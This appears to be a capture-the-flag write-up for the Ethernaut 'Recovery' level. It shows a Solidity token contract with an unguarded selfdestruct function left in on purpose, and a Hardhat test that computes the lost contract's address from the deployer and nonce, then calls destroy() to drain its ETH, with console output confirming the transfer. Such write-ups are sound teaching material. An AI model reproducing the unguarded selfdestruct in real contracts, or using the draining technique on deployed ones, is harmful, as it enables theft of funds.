We need to understand two concepts to be able to solve this challenge:
- How the deployment address of contracts are calculated? The address where a contract is deployed is deterministic and can be calculated as: keccak256(rlp_encoding(deployer_address + nonce)). The nonce starts at 0x1 for the first deployment and increments by 1 for each deployment thereafter.
- What is selfdestruct(): When called, it deletes the contracts it is contained in and transfers all ETH to the address provided as the argument.
I have provided elaborate comments in solution.js in the hope to make it self-explanatory.
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import '@openzeppelin/contracts/math/SafeMath.sol';
contract Recovery {
//generate tokens
function generateToken(string memory _name, uint256 _initialSupply) public {
new SimpleToken(_name, msg.sender, _initialSupply);
}
}
contract SimpleToken {
using SafeMath for uint256;
// public variables
string public name;
mapping (address => uint) public balances;
// constructor
constructor(string memory _name, address _creator, uint256 _initialSupply) public {
name = _name;
balances[_creator] = _initialSupply;
}
// collect ether in return for tokens
receive() external payable {
balances[msg.sender] = msg.value.mul(10);
}
// allow transfers of tokens
function transfer(address _to, uint _amount) public {
require(balances[msg.sender] >= _amount);
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = _amount;
}
// clean up after ourselves
function destroy(address payable _to) public {
selfdestruct(_to);
}
}
//Hardhat Test (solution.js):
const { expect } = require("chai");
const { Wallet, Signer } = require("ethers");
const { ethers, network } = require("hardhat");
describe("Recovery.sol", () => {
describe("Test run", () => {
it("should run fine", async () => {
const [owner] = await ethers.getSigners();
// Deploy an instance of Recovery contract
const recoveryContract = await ethers.getContractFactory("Recovery")
const recovery = await recoveryContract.deploy();
await recovery.deployed();
// Call generateToken() to deploy an instance of the SimpleToken contract
await recovery.generateToken("TESTCOIN", 100)
// Send .001 ETH to this instance of SimpleToken contract
// 0xa16e02e87b7454126e5e10d957a927a7f5b5d2be is where the SimpleToken was deployed
await owner.sendTransaction({to: "0xa16e02e87b7454126e5e10d957a927a7f5b5d2be", value: ethers.utils.parseEther(".001")})
// Now let's forget the address where we deployed the SimpleToken contract above
// Our task is to predict the address where this contract was deployed and then
// invoke the destroy() to take out all the ETH
// Calculate the address where SimpleToken was determined
var nonce = "0x01";
var sender = recovery.address
var _rlp = ethers.utils.RLP.encode([sender, nonce])
var result = ethers.utils.solidityKeccak256(["bytes23"], [_rlp])
var calculatedAddress = "0x" + result.substring(26)
console.log(calculatedAddress)
//Check balances before attack
console.log("Recovery contract balance before attack: ", await ethers.provider.getBalance(recovery.address))
console.log("SimpleToken contract balance before attack: ", await ethers.provider.getBalance(calculatedAddress))
// Invoke selfdestruct() and send all ether to Recovery contract
const simpletokenContract = await ethers.getContractFactory("SimpleToken");
const simpletoken = simpletokenContract.attach(calculatedAddress)
await simpletoken.destroy(recovery.address);
//Check balances after attack
console.log("Recovery contract balance after attack: ", await ethers.provider.getBalance(recovery.address))
console.log("SimpleToken contract balance after attack: ", await ethers.provider.getBalance(calculatedAddress))
});
});
});
Output:
--------
root@ununtu-vm:/home/user/Desktop/hardhat/ethernaut/recovery# npx hardhat test
Recovery.sol
Test run
0xa16e02e87b7454126e5e10d957a927a7f5b5d2be
Recovery contract balance before attack: BigNumber { value: "0" }
SimpleToken contract balance before attack: BigNumber { value: "1000000000000000" }
Recovery contract balance after attack: BigNumber { value: "1000000000000000" }
SimpleToken contract balance after attack: BigNumber { value: "0" }
✔ should run fine (1195ms)
1 passing (1s)